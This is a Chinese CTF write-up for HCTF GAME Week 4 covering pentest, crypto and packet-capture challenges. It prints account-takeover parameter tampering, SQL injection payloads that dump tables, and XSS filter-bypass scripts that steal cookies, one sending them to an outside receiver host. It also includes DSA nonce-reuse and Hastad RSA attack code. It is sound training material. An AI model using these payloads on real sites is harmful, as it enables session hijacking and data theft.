# HCTF GAME Week 4 解题报告

11 Feb 2017

又是最后一天才开始做题……然后，比赛终于结束了，我的寒假开始了，虽然还有学长布置给我们的作业还没开动……

这周的HCTF GAME没有Web题，于是我就先做了Pentest。这次二进制方向的分数爆炸啊……

比赛终于是结束了，在此感谢各位。

## Pentest

四题我注册的用户名和密码全部都是username和password哈哈哈哈。

### LoRexxar的渗透之战之二

看上去站好像完整多了啊，那么哪里有问题呢？

http://115.28.78.16:13333/d23fd789868fa2c8b3942a811f63adb7/0x002/

**Hint**

1、LoRexxar才握着真正的力量

2、渗透题各个题目单独存在，基本不存在漏洞通用

解题报告

一开始看到熟悉的聊天界面，我试了挺久的XSS，不过没什么结果。

然后随便试了试改头像、改Intro、改密码等……因为是毫无目的地乱测所以我到底干了什么我也忘了，最后是改密码的时候注意到它连带着我的username也POST上去了，我就改了form的值，username改成了LoRexxar，password随便改了个好记的（其实还是password），然后看着提示修改成功，我去登录了一下……发现还真的可以登上去，拿到flag为 `hctf{y3wu_louj1_l1_h4i_l3}`

### LoRexxar的渗透之战之三

LoRexxar最近觉得这个站不太优雅，所以决定试试看ajax解决方案

http://115.28.78.16:13333/d23fd789868fa2c8b3942a811f63adb7/0x003/

**Hint**

1、LoRexxar2才握有真正的力量

2、这题可能有很多做法，那么最简单的是什么？

3、水平越权

解题报告

这题一开始看到水平越权，我去查了一下资料，无果。不过看起来，这第一题也是水平越权的样子……

然后切回这个网站，发现在加载/user.php的时候比上一题多加载了一个/api/getmessage.php，看了一下对这个页面的请求，发现POST了username上去，于是就想到我自己POST一个 `user=LoRexxar2` ，然后就拿到了flag `hctf{rugu0_y0u_p1ngx1ngyu3qu4n_du0l1h4i}` 。

我并没有看到ajax。

## LoRexxar的渗透之战之四

看上去好像没什么问题了啊，可惜，你们对力量一无所知o(^▽^)┛

http://115.28.78.16:13333/d23fd789868fa2c8b3942a811f63adb7/0x004/

**Hint**

1、你可能对力量一无所知

2、sql注入

解题报告

似乎这emoji毁了？

试着向我自己发送一个 `'` ，结果在/api/addmessage.php请求里发现POST的变成了 `\'` ，也就是说被addslash了。

恩？怎么会在前端就变成 `\'` ？看了一下网页源码，发现js里就有 `addslashes` 和 `stripslashes` ，于是我感觉后台多半是没有过滤的，把Cookie复制过来用curl试了几发就证实了。

先试了试（伪）万能公式，`'AND 1=1#`，GG，懵逼。用`'AND'1'='1`，结果插入了0，懵逼。又试了试`'OR'1'='1`，结果插入了1，哦，原来就是插入`'INJECTION'`的计算结果啊。虽然当时还没搞懂为什么用了注释符就会GG，我一直默认是`SELECT`语句，处于误区中，不过故事还是要继续。

然后我就想直接获取表名列名，然后使得计算结果是这个就好了，但是尴尬的是MySQL找不到中缀表达式能串联字符串，除了CONCAT找不到其它有效的办法了，搞了半天算是宣告失败了。

于是我思考如果是我自己来实现这个SQL语句，应该是如何来做的。当我意识到这句是`INSERT`实现的时候，感觉就豁然开朗了，我估计是`INSERT INTO table VALUES ('$to', '$message')`这种类型的语句，为了验证，首先我用了一开始的`'AND1=1)#`，提示我插入成功，看来估计地没错，然后为了确认`VALUES`后面括号里的格式，我又试了试POST一条`to=username','message')#&message=nonsense`，提示我插入成功，并且登上去看了一下，插入的就是message。猜测完全正确，掌握了格式就可以构造语句了。

剩下的就是惯例，首先爆表名`to=username',(SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1))#`登录回去看看爆出表名是flag5，然后懒得爆列名了，直接POST`to=username',(SELECT*FROM flag5 LIMIT 0,1))#`最后登录上去就拿到了flag`hctf{4q1_r0ngy1_y0u_sql1}`。

刚刚注意到……“你可能对力量一无所知”的意思是我不需要像前几题一样知道LoRexxar什么的吗？

## LoRexxar的渗透之战之五

看上去好像没什么问题了，LoRexxar也会常常上线和大家聊天的

http://115.28.78.16:13333/d23fd789868fa2c8b3942a811f63adb7/0x005/

**Hint**

1、你能从LoRexxar4获得真正的力量吗

2、xss，你可能需要注意CSP

解题报告

作为直觉，上线聊天应该就是XSS了。

其实一开始没有管CSP，我用最暴力的方法，直接让它location跳转到我自己掌控的一个页面就好了，比如这次我在xris.co下随便写了个php，`<?php$fp=fopen('../msg.txt','a');if(isset($_GET['m']))fwrite($fp,$_GET['m']);?>`，然后按照一开始做第一题的经验，过滤了`script`和`on`各一次，这个复写解决，过滤了`'`和`"`，这个用`` ` ``来替代就解决了，过滤了`</scrscriptipt>`只需要用`</scrscriptipt/>`即可。

一开始的payload为`<scrscriptipt>locatioonn.href=`http://xris.co/rcv.php?m=`+document.cookie</scrscriptipt/>`。虽然最后学长说这个就是对的，只是等了好久没有等到Cookie的我之前以为这样不行，换了不少的方法。

我让对方重新把Cookie作为message，POST回我在这个聊天面板的帐号中，这样也不会有CSP的问题了。不过一开始用jQuery出了点问题我换了个方法……用了`XMLHttpRequest`方法，虽然麻烦很多但是我证实过可以，我成功把一个小号的整个HTML页面给XSS了过来。

payload大致如下

```
<scrscriptipt>
xhr = new XMLHttpRequest();
xhr.open(`POST`, locatioonn.href.substr(0, 65) + `api/addmessage.php`);
xhr.setRequestHeader(`Coonntent-Type`, `applicatioonn/x-www-form-
urlencoded`);
xhr.send(`to=username&message` + encodeURICompoonnent(document.cookie));
</scrscriptipt/>
```

当然还有后来的……

```
<scrscriptipt>
xhr = new XMLHttpRequest();
xhr.open(`POST`, locatioonn.href.substr(0, 65) + `api/addmessage.php`);
xhr.setRequestHeader(`Coonntent-Type`, `applicatioonn/x-www-form-
urlencoded`);
xhr.send(`to=username&message` + encodeURICompoonnent(document.getElementsByT
agName(`body`)[0].innerHTML));
</scrscriptipt/>
```

一开始用的 `querySelector` ，结果后来发现 `Select` 被替换成了 `hacker` ，于是只能用朴素的 `getElementsByTagName` 了。

总之搞了半天，后来还是去问了管理员，他上去看了一下才搞出来的。

然后拿到了Cookie `lang=zh-CN; PHPSESSID=0e1eka2ec7i3c4q5q9e72fmsd4` ，用这个Cookie再向/api/getmessage.php请求一下，就拿到了flag为 `hctf{itz_ju5t_4_st4rt233}` 。

# Crypto

好吧，这个迷一样的一次性密码本不会做。

## 进击的 Crypto [4]

http://119.29.138.57/crypto/Crypto[4].34b3396feff9f911a61e932a22c4470

```
import hashlib
from gmpy2 import mpz, invert

p = 190716027447646792844189733681358379327343061199369341384474902557309769682923254674220284045951117393868651638379541511185212421611653965460100979887725583476037189369599999668327299529542494009290049992057157747007152994025186591269943960410319186487203043168774653327128061548663247131284489765017
q = 930788704028200015275140127068138499329817310955
g = 220237156062724657086413463831954488565703875839368639153162645824259735475648417436812689270045835305613201869418328189101417845912386944695747737570415063979393239590022180767575736652824918336764694014421673518178065244519367602124516716571334763354973717129155502536345229391073998560517516716958
k = '???'
x = '???'

def data_to_int(s):
        return int(s.encode('hex'), 16)

def SHA1(data):
        return data_to_int(hashlib.sha1(data).hexdigest())

def encrypt(data, p, q, g, x, k):
        r = pow(g, k, p) % q
        s = (invert(k, q) * (SHA1(data) + x * r)) % q
        return (r, s)
```

```
data1 = "guest"
data2 = "admin"
(r1, s1) = encrypt(data1, p, q, g, x, k)
(r2, s2) = encrypt(data2, p, q, g, x, k)

print SHA1(data1)
print SHA1(data2)
print s1
print s2
print r1
print r2
"""
427262976273228083221871998313131945010029561209591706262118913937489577133576413685540380226864
835940898148680488372488685713345793755099380413493862399556052721366535745667186387858109315383
618159893787048300752592802884467155388759696698
659836539307844663175437862395252943516139307036
568752653628483014849549142909331362115254788206
568752653628483014849549142909331362115254788206
"""

def getflag(data):
        print 1
        if data == "getflag":
                (r, s) = encrypt(data, p, q, g, x, k)
                flag = "hctf{" + str(s % r) + "}"
                print flag
```

**Hint**

基本的数论知识

解题报告

代码下过来是一串Python2的脚本（在上面），没有给出k和x，暂时是没法求flag的。

一开始注意到 `r = pow(g, k, q) % p` ，其实就是$r \equiv g^k \pmod{p} \pmod{q}$，打算用Baby-step Giant-step来做，结果数据还是太大，不现实。

然后因为有两个例子 `guest` 和 `admin` ，而二者的 `r1` 、 `r2` 均相等的原因，我发现按照源代码给出的公式 `s = (invert(k, q) * (SHA1(data) + x * r)) % q` ，如果两者相减可以得

到一个消去 `x` 的公式，感觉可以由此推出 `k` ，于是打了一下草稿，这里设 `m1, m2 = SHA1(data1), SHA1(data2)`

$$
\begin{aligned}
s_1 &\equiv k^{-1}(m_1 + xr) \pmod q \\
s_2 &\equiv k^{-1}(m_2 + xr) \pmod q
\end{aligned}
$$

两式相减得

$$
s_2 - s_1 \equiv k^{-1}(m_2 - m_1) \pmod q
$$

然后把$k$移到左边，同时把$s_2 - s_1$移到右边

$$
k \equiv (m_2 - m_1)(s_2 - s_1)^{-1} \pmod q
$$

这就求出$k$来了，当然，最好验证一下$r \equiv g^k \pmod p \pmod q$。那么继续，随便代入一项$s, m$可以求出$x$来：

$$
s \equiv k^{-1}(m + xr) \pmod q
$$

同理，$k^{-1}$移过去

$$
ks \equiv m + xr \pmod q
$$

我们假设同余符号能处理负数，那么直接把$m$移过去

$$
ks - m \equiv xr \pmod q
$$

最后把r也移过去，就拿到了

$$
x \equiv (ks - m)r^{-1} \pmod q
$$

当然，最好两个都检查一下，确保$x$正确。

就可以用代码实现了。

```python
from hashlib import sha1
from binascii import hexlify

def exgcd(m, n):
    x, y, x1, y1 = 0, 1, 1, 0
    while m % n:
        x, x1 = x1 - m // n * x, x
        y, y1 = y1 - m // n * y, y
        m, n = n, m % n
    return n, x, y
```

```
def invert(m, n):
    gcd, inv = exgcd(m, n)[:2]
    return inv % (n // gcd)

def SHA1(s):
    return int(hexlify(sha1(s.encode()).hexdigest().encode()), 16)

m1, m2 = SHA1(data1), SHA1(data2)

k = (m2 - m1) * invert(s2 - s1, q) % q
if pow(g, k, p) % q == r: print('k =', k)
else: print('Something wrong with my k')

x = (k * s1 - m1) * invert(r, q) % q
y = (k * s2 - m2) * invert(r, q) % q
if x == y: print('x =', x)
else: print('Something wrong with my x')

s = invert(k, q) * (SHA1("getflag") + x * r) % q
print('hctf{' + str(s % r) + '}')
```

最后flag为 `hctf{881691912314398184476813935100212817302692520 95}` 。

## 进击的Crypt [5]

似曾相识?

http://119.29.138.57/crypto/Crypto[5].34b3396feff9f911a61e932a22c4470

反正又是一大堆的n,c,e

解题报告

一开始试过求公约数，当然，失败了……

思路来源， 【技术分享】CTF中RSA的常见攻击方法

这题，刚好10组数据且e=10，不是特别大，所以我们用低加密指数广播攻击，反正重点在于中国剩余定理。

感觉这里面讲的不太清楚，我稍作补充。由十组数据得到十个同余方程：

$$\begin{cases} m^e \equiv c_0 \pmod{n_0} \\ m^e \equiv c_1 \pmod{n_1} \\ m^e \equiv c_2 \pmod{n_2} \\ \quad\vdots \qquad\qquad \vdots \\ m^e \equiv c_9 \pmod{n_9} \end{cases}$$

因为之前试过求公约数失败，所以$n_1, n_2, n_3, \cdots, n_9$是互质的，所以可以用中国剩余定理，求出$m^e$，$e$已知，就可以求$m$了。因为$m^e$太大，Python也没法直接求十次开方……所以我是二分的，要大概10s跑完程序，不过别的库应该有更高效的大数字开根的实现的，比如牛顿迭代？不知道Decimal库行不行……

下面代码中，n、c均为储存文件中所有n、c的list。

```
from operator import mul
from functools import reduce

def exgcd(m, n):
    x, y, x1, y1 = 0, 1, 1, 0
    while m % n:
        x, x1 = x1 - m // n * x, x
        y, y1 = y1 - m // n * y, y
        m, n = n, m % n
    return n, x, y

def prod(lst):
    return reduce(mul, lst)

def China_remainder(a, m):
    p = prod(m)
    M = list(p // n for n in m)
    t = list(exgcd(M[i], m[i])[1] for i in range(len(m)))
    return sum(a[i] * t[i] * M[i] for i in range(len(m))) % p

def root_10(p):
    l, r = 0, p
    while l + 1 < r:
        m = l + r >> 1
        pm = m ** 10
        if pm == p: return m
        elif pm < p: l = m
        elif pm > p: r = m
```

```
    if r ** 10 == p: return r
    else: return None

m_10 = China_remainder(c, n)
print(root_10(m_10).to_bytes(184, 'big').decode())
```

输出是一长串文字

> When e are small and same,it can be Hastad's broadcast attack.Maybe we won't have topic aboout RSA,but I wish you can explore it Non-stop.hctf{Hastad's_broadcast_attack_is_interesting}

总之拿到flag了。

# Misc

Misc系列就是查找字符串系列啊……所以那道没节操的那题没做出来大概就是我不会找字符串的原因。

## 来看看自己是怎么日自己的

http://123.206.199.184/hgame_misc/misc2_for_hgame.pcapng

解题报告

```
strings misc2_for_hgame.pcapng | grep "flag"
```

第一件事找flag，找到两串，urldecode之后发现其实是两串基于报错的注入语句，下面是decode之后的，当然，为了方便高亮解析，我把空格全部换成了+，在url编码里+就是空格是吧……

```
GET /hgame/user.php?id=test+AND+(SELECT+7616+FROM(SELECT+COUNT(*),CONCAT(0x71
71767671,(SELECT+IFNULL(CAST(COUNT(flag)+AS+CHAR),0x20)+FROM+hgame.flag),0x71
6a6b7071,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+
x)a) HTTP/1.1
```

```
GET /hgame/user.php?id=test+AND+(SELECT+3552+FROM(SELECT+COUNT(*),CONCAT(0x71
71767671,(SELECT+MID((IFNULL(CAST(flag+AS+CHAR),0x20)),1,54)+FROM+hgame.flag+
```

```
ORDER+BY+flag+LIMIT+0,1),0x716a6b7071,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a) HTTP/1.1
```

然后用Wireshark打开，过滤器设置为 `http contains "blahblahblah"` ，直接找上面的两串字符串，第一串找到响应是

> Could not get data: Duplicate entry ‘qqvvq1qjkpq1’ for key ‘group_key’

第二串找到响应为

> Could not get data: Duplicate entry ‘qqvvqhgame{sqlmap_Anddd_wireshark2333}qjkpq1’ for key ‘group_key’

get

## 考眼力喽

123.206.199.184/hgame_misc/misc3_for_hgame.pcapng

解题报告

```
strings misc3_for_hgame.pcapng | grep "flag"
```

只找到一个flag.png，于是我首先去筛选了 `http.content_type == "image/png"` ，我一张一张导出了出来，不过没找到flag，倒是看到了海贼王……因为前几天看过一百来集里刚好出现了那个图中有的人物……感触挺深的。

恩……然后我接着筛选了 `http contains "flag.png"` ，只剩下一条，里面确实有个flag.png，但是看到Content-Type，貌似是个gzip文件，随后在附近找到一条HTTP请求，是向http://123.206.199.184/bibibibibi.gz发送的请求，于是我去下载了这个gzip，打开后就是flag.png。flag是手画的，是 `hctf{hua_de_zhen_lei}`

## 正在前往翻车大道

http://123.206.199.184/hgame_misc/hahaha.pcapng

解题报告

```
strings hahaha.pcapng | grep "flag"
```

这回拿到一堆一堆的……拿去urldecode一下可以看出来是注入。flag的分成两类。出现次数比较少的那一类，主要结构是 `1 AND ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM ctf.flag),十进制位,1))>ASCII码` 这种，是在求条目个数。出现次数比较多的一类，主要结构是 `1 AND ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM ctf.flag ORDER BY flag LIMIT 0,1),字符串位,1))>ASCII码` ，这个是在枚举一个条目各个字符串位上的值了。

显而易见是在基于bool二分查询（我之前怎么没想到可以二分），所以128个字符，只需要查询7次能确定一个，于是7个一组7个一组分组，每组只要最后一个，看最后一个数字，就是猜到最后的ASCII码。因为二分到最后会剩下两种可能，一个ASCII码是比当前猜的大，一个是ASCII码不比当前猜的大（也就是相等）,要区分这两种情况必须要打开wireshark检查返回了什么，然而我懒得开，决定直接枚举所有的情况。

于是对于每次结束的位置两个x和x+1都有可能是实际上的答案。还好这题flag有语法，不是乱码，不然我只能开wireshark了。尽管要枚举，但是有几个还是可以直接确认的，比如说一开始的 `hctf{` 和结尾的 `}` ，还有中间出现了两个 `_` ，都是绝对确定的。

于是左边一张ASCII码表，右边是 `strings` 命令筛选出的一大堆HTTP请求，然后用bash来枚举，是这样的

```
echo -e "hctf{"{e,f}{k,l}{o,p}{w,x}{e,f}{q,r}_{s,t}{q,r}{k,l}_{i,j}{m,n}{i,j}{e,f}{c,d}{s,t}{i,j}{o,p}{m,n}"}\n"
```

其实更好的方法是以 `_` 为分界线，三组分开枚举更清楚一点。我是分开枚举的，也就是

```
echo -e {e,f}{k,l}{o,p}{w,x}{e,f}{q,r}\\n
echo -e {s,t}{q,r}{k,l}\\n
echo -e {i,j}{m,n}{i,j}{e,f}{c,d}{s,t}{i,j}{o,p}{m,n}\\n
```

最后结果分别是 `flower` ， `sql` 和 `injection` ，连起来就是 `hctf{flower_sql_injection}` 。

后来去wireshark看了一下，如果bool表达式正确的话回显的大概是 `username=xiaoming&password=123456` 这样，而错误的话是没有结果的，也就是 `username=&password=` 这样的吧。